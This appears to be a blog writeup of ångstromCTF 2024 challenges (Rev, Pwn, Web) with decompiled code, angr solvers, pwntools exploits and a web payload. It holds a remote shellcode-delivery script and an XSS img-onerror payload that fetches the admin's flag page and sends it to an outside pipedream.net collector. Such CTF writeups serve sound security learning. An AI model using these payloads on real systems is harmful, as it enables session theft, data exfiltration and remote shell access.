All Articles

ångstromCTF 2024 Writeup

This page has been machine-translated from the original page.

I participated in ångstromCTF 2024 with the team 0nePadding.

We finished at a clean 1000 points, placing 108th out of 923 teams.

image-20240602170849307

Up until now I had focused almost entirely on Rev challenges, but going forward I plan to gradually tackle Pwn and Web as well.

Table of Contents

Guess the Flag(Rev)

Do you have what it takes to guess the flag?

Decompiling the challenge binary yields the following result.

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase;
    int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
    puts("Go ahead, guess the flag: ");
    void buf;
    void* rbx = &buf;
    fgets(&buf, 0x3f, __TMC_END__);
    while (true)
    {
        if (strlen(&buf) <= ((char*)rbx - &buf))
        {
            break;
        }
        *(uint8_t*)rbx = (*(uint8_t*)rbx ^ 1);
        rbx = ((char*)rbx + 1);
    }
    if (strcmp(&buf, "`bugzbnllhuude^un^uid^md`ru^rhfo…") != 0)
    {
        puts("Wrong. Not sure why you'd think …");
    }
    else
    {
        puts("Correct! It was kinda obvious tb…");
    }
    *(uint64_t*)((char*)fsbase + 0x28);
    if (rax != *(uint64_t*)((char*)fsbase + 0x28))
    {
        __stack_chk_fail();
        /* no return */
    }
    return 0;
}

At a glance, it is clear that the flag is embedded XOR’d with 1.

image-20240525184353437

switcher(Rev)

It’s incredible how completely indiscernible the functions are…

Looking at the challenge binary, we can see it validates a password string obtained via fgets.

image-20240526132723701

Examining the function that performs this check reveals that it calls a series of functions, each comparing the flag one character at a time from the beginning.

image-20240526132742407

This kind of challenge is trivially solved with angr, so I retrieved the flag using the following solver.

import angr

proj = angr.Project("switcher", auto_load_libs=False)
obj = proj.loader.main_object
find = 0x401219
avoids = [0x40122c,0x4010f8]
init_state = proj.factory.entry_state()
simgr = proj.factory.simgr(init_state)
simgr.explore(find=find, avoid=avoids)
simgr.found[0].posix.dumps(0)

# actf{jumping_my_way_to_the_flag_one_by_one}

Polyomino(Rev)

I know this is a cybersecurity competition but I decided to throw in a math problem to level the field a little bit. You can solve it, right?

Analyzing the challenge binary yields the following decompilation result.

int32_t main(int32_t argc, char** argv, char** envp)
{
    void* fsbase
    int64_t rax = *(fsbase + 0x28)
    __printf_chk(flag: 1, format: "I'm practicing my math skills. G…")
    int32_t* var_80 = &data_40a0
    int32_t* var_88 = &data_409c
    int32_t* var_90 = &data_4098
    int32_t* var_98 = &data_4094
    __isoc99_scanf(format: "%d %d %d %d %d %d %d %d %d", &data_4080, &data_4080:4, &data_4088, &data_4088:4, &data_4090, var_98, var_90, var_88, var_80)
    __printf_chk(flag: 1, format: "Hmm, let me think")
    fflush(fp: stdout)
    usleep(useconds: 0x493e0)
    putchar(c: 0x2e)
    fflush(fp: stdout)
    usleep(useconds: 0x493e0)
    putchar(c: 0x2e)
    fflush(fp: stdout)
    usleep(useconds: 0x493e0)
    puts(str: &data_2098)
    usleep(useconds: 0x7a120)
    int64_t rdi_3 = -0x3c
    int32_t rax_15
    while (true)
        int64_t* i_1 = &data_4080
        int64_t rsi = 0
        int64_t rcx_1 = 1
        int64_t* i = &data_4080
        uint64_t rdx_1
        do
            int64_t rdx = sx.q(*i)
            i = i + 4
            rdx_1 = rdx * rcx_1
            rcx_1 = rcx_1 * rdi_3
            rsi = rsi + rdx_1
        while (&data_40a4 != i)
        if (rdi_3.d != 0x2c && rdi_3.d != 0x3a)
            uint64_t r9_2 = zx.q(rdi_3.d + 0x25)
            if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))
                if (rsi.d != 0)
                    goto label_1285
                goto label_138f
        if (rsi.d != 0)
            label_138f:
            puts(str: "Those aren't the right numbers. …")
            rax_15 = 1
            break
        label_1285:
        rdi_3 = rdi_3 + 1
        if (rdi_3 == 0x3c)
            if (data_40a0 != 1)
                do
                    int32_t rax_4 = *i_1
                    i_1 = i_1 + 4
                    int32_t temp4_1
                    int32_t temp5_1
                    temp4_1:temp5_1 = sx.q(rax_4)
                    rdx_1 = zx.q(mods.dp.d(temp4_1:temp5_1, data_40a0))
                    *(i_1 - 4) = divs.dp.d(temp4_1:temp5_1, data_40a0)
                while (i_1 != &data_40a4)
            __printf_chk(flag: 1, format: "Correct! Here's the flag: ", rdx_1)
            void var_58
            void* i_2 = &var_58
            int64_t var_78 = data_4080
            void* rbp_1 = &data_4020
            int64_t var_70_1 = data_4088
            int16_t var_68_1 = (data_4090).w
            int16_t var_66_1 = (data_4094).w
            int16_t var_64_1 = (data_4098).w
            int16_t var_62_1 = (data_409c).w
            int16_t var_60_1 = (data_40a0).w
            __builtin_memcpy(dest: &var_58, src: &var_78, n: 0x1a)
            void var_3e
            __builtin_memcpy(dest: &var_3e, src: &var_78, n: 0x1a)
            void var_24
            do
                char rdi_4 = *i_2 ^ *rbp_1
                i_2 = i_2 + 1
                rbp_1 = rbp_1 + 1
                *(i_2 - 1) = rdi_4
                putchar(c: zx.d(rdi_4))
            while (&var_24 != i_2)
            putchar(c: 0xa)
            rax_15 = 0
            break
    *(fsbase + 0x28)
    if (rax != *(fsbase + 0x28))
        __stack_chk_fail()
        noreturn
    return rax_15
}

The nine integers read by scanf are processed inside the while loop. When the rdi_3 variable reaches 0x3c, the flag is decrypted using the accumulated values and printed.

int64_t* i_1 = &data_4080
int64_t rsi = 0
int64_t rcx_1 = 1
int64_t* i = &data_4080
uint64_t rdx_1
do
    int64_t rdx = sx.q(*i)
    i = i + 4
    rdx_1 = rdx * rcx_1
    rcx_1 = rcx_1 * rdi_3
    rsi = rsi + rdx_1
while (&data_40a4 != i)
if (rdi_3.d != 0x2c && rdi_3.d != 0x3a)
    uint64_t r9_2 = zx.q(rdi_3.d + 0x25)
    if (r9_2.d u> 0x36 || (r9_2.d u<= 0x36 && not(test_bit(0x400c0210000001, r9_2))))
        if (rsi.d != 0)
            goto label_1285
        goto label_138f
if (rsi.d != 0)
    label_138f:
    puts(str: "Those aren't the right numbers. …")
    rax_15 = 1
    break
label_1285:
rdi_3 = rdi_3 + 1

Honestly, I could not fully understand the mathematical details of what the loop is doing, so I decided to look for a way to extract the flag using angr anyway. I ended up using the following solver.

import angr
import claripy

proj = angr.Project('./polyomino', auto_load_libs=False)

start = 0x401209
state = proj.factory.blank_state(addr=start, add_options={angr.options.LAZY_SOLVES})

flag1 = claripy.BVS('flag1', 32, explicit_name=True)
flag2 = claripy.BVS('flag2', 32, explicit_name=True)
flag3 = claripy.BVS('flag3', 32, explicit_name=True)
flag4 = claripy.BVS('flag4', 32, explicit_name=True)
flag5 = claripy.BVS('flag5', 32, explicit_name=True)
flag6 = claripy.BVS('flag6', 32, explicit_name=True)
flag7 = claripy.BVS('flag7', 32, explicit_name=True)
flag8 = claripy.BVS('flag8', 32, explicit_name=True)
flag9 = claripy.BVS('flag9', 32, explicit_name=True)

state.memory.store(0x404080, flag1, endness='Iend_LE')
state.memory.store(0x404084, flag2, endness='Iend_LE')
state.memory.store(0x404088, flag3, endness='Iend_LE')
state.memory.store(0x40408c, flag4, endness='Iend_LE')
state.memory.store(0x404090, flag5, endness='Iend_LE')
state.memory.store(0x404094, flag6, endness='Iend_LE')
state.memory.store(0x404098, flag7, endness='Iend_LE')
state.memory.store(0x40409c, flag8, endness='Iend_LE')
state.memory.store(0x4040a0, flag9, endness='Iend_LE')

find = 0x4012bd
avoids = [0x401388,0x40138f,0x4013b2]

simgr = proj.factory.simgr(state)
simgr.explore(find=find, avoid=avoids)
simgr.explore(find=find, avoid=avoids)

found = simgr.found[0]

a = found.solver.eval(flag1, cast_to=int)
b = found.solver.eval(flag2, cast_to=int)
c = found.solver.eval(flag3, cast_to=int)
d = found.solver.eval(flag4, cast_to=int)
e = found.solver.eval(flag5, cast_to=int)
f = found.solver.eval(flag6, cast_to=int)
g = found.solver.eval(flag7, cast_to=int)
h = found.solver.eval(flag8, cast_to=int)
i = found.solver.eval(flag9, cast_to=int)
print("{} {} {} {} {} {} {} {} {}".format(a,b,c,d,e,f,g,h,i))

Running this solver produces a different result each time, but feeding those integers into the challenge binary yields a partially incomplete flag.

image-20240602172955944

After repeating this several times and guessing the remaining characters that never filled in, I confirmed that actf{wow_you_successfully_passed_algebra_4_3bf3c5d6} was the correct flag.

exam(Pwn)

I thought my tiring AP season was over, but I heard that they’re offering a flag in AP Cybersecurity! The proctor seems to have trust issues though…

First, let’s check the binary protections.

image-20240525184639840

Decompiling the program reveals that the flag can be obtained if trust_level exceeds the threshold value (0x7ffffffe).

The initial value of trust_level is computed as 0 minus the detrust value supplied as input.

image-20240602180922808

However, detrust must be non-negative, and it is not possible to supply a value that sets trust_level to exactly 0x7ffffffe directly.

That said, entering the correct string afterward allows trust_level to be decremented by 1 each time.

The plan is therefore: supply 2147483646 as the input (which sets trust_level as close to 0x7ffffffe as possible), then enter the correct string twice to push trust_level over the threshold and obtain the flag.

I wrote the following solver to automate this.

from pwn import *

# Set context
CONTEXT = "debug"
context.log_level = CONTEXT

# Set target
TARGET_PATH = "./exam"
exe = ELF(TARGET_PATH)

# Run program
# is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    target = remote("challs.actf.co", 31322)
    # target = process(TARGET_PATH)

# Exploit
target.recvline_startswith(b"How much should I not trust you? >:)")
payload = b"2147483646"
target.sendline(payload)

while True:
    target.recvline_startswith(b"Prove your trustworthyness by")
    payload = b"I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam."
    target.sendline(payload)

Running this solver successfully retrieved the correct flag.

image-20240525234440546

presidential(Pwn)

👍

The challenge provides the following Python script as its binary.

#!/usr/local/bin/python

import ctypes
import mmap
import sys

flag = "redacted"

print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))

buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye")

Reading this code makes it clear that it simply executes whatever shellcode is provided.

I wrote the following solver.

from pwn import *

target = remote("challs.actf.co", 31200)

context.arch = 'amd64'
shellcode = shellcraft.amd64.linux.sh()
assembled_shellcode = asm(shellcode)

# Exploit
target.recvuntil(b"(in hex): ")
payload = assembled_shellcode.hex()
target.sendline(payload)

# Finish exploit
target.interactive()
target.clean()

This gave us a shell and allowed us to retrieve the flag successfully.

image-20240526175856054

spinner(Web)

spin 10,000 times for flag

Accessing the challenge server launches an application that counts how many times you spin a ball by holding and dragging the mouse.

image-20240525234656517

Reading the server-side code shows that the flag is returned once the count exceeds 10,000.

const state = {
    dragging: false,
    value: 0,
    total: 0,
    flagged: false,
}

const message = async () => {
    if (state.flagged) return
    const element = document.querySelector('.message')
    element.textContent = Math.floor(state.total / 360)

    if (state.total >= 10_000 * 360) {
        state.flagged = true
        const response = await fetch('/falg', { method: 'POST' })
        element.textContent = await response.text()
    }
}
message()

const draw = () => {
    const spinner = document.querySelector('.spinner')
    const degrees = state.value
    spinner.style.transform = `rotate(${degrees}deg)`
}

const down = () => {
    state.dragging = true
}

const move = (e) => {
    if (!state.dragging) return

    const spinner = document.querySelector('.spinner')
    const center = {
        x: spinner.offsetLeft + spinner.offsetWidth / 2,
        y: spinner.offsetTop + spinner.offsetHeight / 2,
    }
    const dy = e.clientY - center.y
    const dx = e.clientX - center.x
    const angle = (Math.atan2(dy, dx) * 180) / Math.PI

    const value = angle < 0 ? 360 + angle : angle
    const change = value - state.value

    if (0 < change && change < 180) state.total += change
    if (0 > change && change > -180) state.total += change
    if (change > 180) state.total -= 360 - change
    if (change < -180) state.total += 360 + change

    state.value = value

    draw()
    message()
}

const up = () => {
    state.dragging = false
}

document.querySelector('.handle').addEventListener('mousedown', down)
window.addEventListener('mousemove', move)
window.addEventListener('mouseup', up)
window.addEventListener('blur', up)
window.addEventListener('mouseleave', up)

I obtained the flag by directly overwriting the value using the browser’s developer tools.

image-20240525234850364

markdown(Web)

My friend made an app for sharing their notes!

Accessing the challenge server launches a service that renders submitted Markdown as a web page.

image-20240526003810635

There is also an admin access tool available.

image-20240526003823917

Looking at the application source code, we can see that the flag is stored in the admin’s cookie.

const crypto = require('crypto')

const express = require('express')
const app = express()

const posts = new Map()

app.use(express.urlencoded({ extended: false }))

app.get('/', (_req, res) => {
    const placeholder = [
        '# Note title',
        'Content of the note. You can use *italics*!',
    ].join('\n')

    res.type('text/html').end(`
        <link rel="stylesheet" href="/style.css">
        <div class="content">
            <h1>Pastebin</h1>
            <form action="/create" method="POST">
                <textarea name="content">${placeholder}</textarea>
                <button type="submit">Create</button>
            </form>
        </div>
    `)
})

app.get('/flag', (req, res) => {
    const cookie = req.headers.cookie ?? ''
    res.type('text/plain').end(
        cookie.includes(process.env.TOKEN)
        ? process.env.FLAG
        : 'no flag for you'
    )
})

app.get('/view/:id', (_req, res) => {
    const marked = (
        'https://cdnjs.cloudflare.com/ajax/libs/marked/4.2.2/marked.min.js'
    )

    res.type('text/html').end(`
        <link rel="stylesheet" href="/style.css">
        <div class="content">
        </div>
        <script src="${marked}"></script>
        <script>
            const content = document.querySelector('.content')
            const id = document.location.pathname.split('/').pop()

            delete (async () => {
                const response = await fetch(\`/content/\${id}\`)
                const text = await response.text()
                content.innerHTML = marked.parse(text)
            })()
        </script>
    `)
})

app.post('/create', (req, res) => {
    const data = req.body.content ?? ''
    const id = crypto.randomBytes(8).toString('hex')
    posts.set(id, data)
    res.redirect(`/view/${id}`)
})

app.get('/content/:id', (req, res) => {
    const id = req.params.id
    const data = posts.get(id) ?? ''
    res.type('text/plain').end(data)
})

app.get('/style.css', (_req, res) => {
    res.type('text/css').end(`
        * {
          font-family: system-ui, -apple-system, BlinkMacSystemFont,
            'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
          box-sizing: border-box;
        }

        html,
        body {
          margin: 0;
        }

        .content {
          padding: 2rem;
          width: 90%;
          max-width: 900px;
          margin: auto;
        }

        input:not([type='submit']) {
          width: 100%;
          padding: 8px;
          margin: 8px 0;
        }

        textarea {
          width: 100%;
          padding: 8px;
          margin: 8px 0;
          resize: vertical;
          font-family: monospace;
        }

        input[type='submit'] {
          margin-bottom: 16px;
        }


    `)
})

app.listen(3000)

The plan was to trigger XSS via the submitted Markdown.

However, when scripts are injected via innerHTML after the page has loaded, browsers typically do not execute them directly.

To work around this, I referenced the following article and used the onerror attribute on an img tag to run arbitrary JavaScript.

Reference: Creating CTF Challenges for In-Team CTF - XSS Edition #JavaScript - Qiita

I retrieved the flag by submitting the following payload.

<img src="x" onerror='fetch("/flag").then(e=>e.text()).then(e=>{console.log("GET response HTML:",e);let t=encodeURIComponent(e),n=`https://eoxwstthee5l1zi.m.pipedream.net?query=${t}`;return fetch(n)}).then(e=>e.text()).then(e=>{console.log("GET response from target URL:",e)});'></img>

This payload executes the following code.

fetch("/flag")
    .then(response => response.text())
    .then(htmlString => {
        console.log("GET response HTML:", htmlString);
        const encodedHtmlString = encodeURIComponent(htmlString);
        const targetUrl = `https://eoxwstthee5l1zi.m.pipedream.net?query=${encodedHtmlString}`;
        return fetch(targetUrl);
    })
    .then(response => response.text())
    .then(result => {
        console.log("GET response from target URL:", result);
    });

Having the admin bot visit the page containing this exploit delivered the flag as shown below.

image-20240526003701192

Summary

I have started studying Pwn and Web, but I am still far from proficient — need to keep grinding.

I solved an interesting Pwn challenge, which I plan to write up in a separate article later.